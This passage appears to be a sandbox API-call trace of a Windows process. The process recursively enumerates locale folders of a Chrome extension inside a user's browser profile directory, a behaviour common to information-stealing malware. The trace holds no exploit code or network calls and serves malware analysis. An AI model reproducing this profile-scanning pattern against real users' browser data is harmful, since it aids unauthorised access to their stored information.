Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hi" [0056.323] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hi\\*.*" [0056.323] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hi\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.323] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.323] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.323] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.323] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.323] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.323] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.323] LocalFree (hMem=0x2dc218) returned 0x0 [0056.323] LocalFree (hMem=0x2dc100) returned 0x0 [0056.323] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.323] lstrcmpiA (lpString1=".", lpString2="hr") returned -1 [0056.323] lstrcmpiA (lpString1="..", lpString2="hr") returned -1 [0056.323] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.323] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.323] lstrlenA (lpString="\\") returned 1 [0056.323] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.323] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.323] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.323] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.323] lstrlenA (lpString="hr") returned 2 [0056.323] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.323] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.323] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="hr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hr" [0056.323] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.323] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hr") returned 142 [0056.323] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hr") returned 142 [0056.323] lstrlenA (lpString="\\*.*") returned 4 [0056.323] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.323] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hr" [0056.323] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hr\\*.*" [0056.323] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hr\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.324] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.324] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.324] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.324] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.324] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.324] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.324] LocalFree (hMem=0x2dc218) returned 0x0 [0056.324] LocalFree (hMem=0x2dc100) returned 0x0 [0056.324] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.324] lstrcmpiA (lpString1=".", lpString2="hu") returned -1 [0056.324] lstrcmpiA (lpString1="..", lpString2="hu") returned -1 [0056.324] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.324] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.324] lstrlenA (lpString="\\") returned 1 [0056.324] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.324] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.324] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.324] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.324] lstrlenA (lpString="hu") returned 2 [0056.324] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.324] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.324] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hu" [0056.324] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.324] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hu") returned 142 [0056.324] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hu") returned 142 [0056.324] lstrlenA (lpString="\\*.*") returned 4 [0056.324] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.324] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hu" [0056.324] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hu", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hu\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hu\\*.*" [0056.324] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\hu\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.324] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.324] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.324] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.324] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.324] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.324] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.324] LocalFree (hMem=0x2dc218) returned 0x0 [0056.324] LocalFree (hMem=0x2dc100) returned 0x0 [0056.324] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.325] lstrcmpiA (lpString1=".", lpString2="id") returned -1 [0056.325] lstrcmpiA (lpString1="..", lpString2="id") returned -1 [0056.325] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.325] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.325] lstrlenA (lpString="\\") returned 1 [0056.325] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.325] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.325] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.325] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.325] lstrlenA (lpString="id") returned 2 [0056.325] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.325] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.325] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\id" [0056.325] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.325] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\id") returned 142 [0056.325] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\id") returned 142 [0056.325] lstrlenA (lpString="\\*.*") returned 4 [0056.325] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.325] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\id" [0056.325] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\id", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\id\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\id\\*.*" [0056.325] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\id\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.325] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.325] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.325] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.325] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.325] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.325] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.326] LocalFree (hMem=0x2dc218) returned 0x0 [0056.326] LocalFree (hMem=0x2dc100) returned 0x0 [0056.326] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.326] lstrcmpiA (lpString1=".", lpString2="it") returned -1 [0056.326] lstrcmpiA (lpString1="..", lpString2="it") returned -1 [0056.326] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.326] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.326] lstrlenA (lpString="\\") returned 1 [0056.326] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.326] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.326] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.326] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.326] lstrlenA (lpString="it") returned 2 [0056.326] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.326] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.326] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\it" [0056.326] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.326] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\it") returned 142 [0056.326] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\it") returned 142 [0056.326] lstrlenA (lpString="\\*.*") returned 4 [0056.326] LocalAlloc (uFlags=0x40, 